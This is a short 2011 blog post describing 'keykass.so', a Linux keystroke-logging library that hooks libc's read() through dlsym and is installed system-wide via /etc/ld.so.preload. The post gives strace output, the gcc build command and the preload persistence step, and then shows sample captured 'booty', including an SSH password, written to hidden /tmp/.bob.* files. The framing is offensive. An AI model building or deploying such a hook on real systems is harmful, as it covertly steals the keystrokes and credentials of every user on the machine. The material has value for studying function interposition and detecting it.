Keykass.so: Dynamic library for keystroke logging

Mon, 31 Jan 2011 21:42:14 +0100
Tags: security

Some articles about function interposition or syscall hooking inspired me to write this small library. Once it is loaded into a process, it wraps the read() function in order to append keystrokes into a file. This is done by dynamically loading a pointer to the libc's read() function by using dlsym(), and declaring a fake read() function instead.

Let see system calls while the "ls" command is typed in a Bash process:

$ strace -e read,write,open,close /bin/bash
[...]
read(0, "l"..., 1)                      = 1
write(2, "l"..., 1l)                    = 1
read(0, "s"..., 1)                      = 1
write(2, "s"..., 1s)                    = 1

And then when the read() system call is hooked via the keykass.so dynamic library:

read(0, "l"..., 1)                      = 1
open("/tmp/.bob.3845", [...], 0777)     = 3
write(3, "l"..., 1)                     = 1
close(3)                                = 0
write(2, "l"..., 1)                     = 1
read(0, "s"..., 1)                      = 1
open("/tmp/.bob.3845", [...], 0777)     = 3
write(3, "s"..., 1)                     = 1
close(3)                                = 0
write(2, "s"..., 1)                     = 1

Once the library has been set up (see below), wait for new shells to be opened on the system...

# gcc -shared -ldl -o /path/to/keykass.so keykass.c
# echo "/path/to/keykass.so" > /etc/ld.so.preload

... and you'll get your booty:

$ cat /tmp/.bob.*
ls /et<TAB>/etc
ssh -4x private.server.com
SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2
St0ngPaSSw0rD!
hostname
w
exit

NOTE: In this example, some lines (such as "SSH-2.0-OpenSSH[...]") were not typed by our user, but they were logged because of processes (here, the ssh client's socket) that simply use our fake read().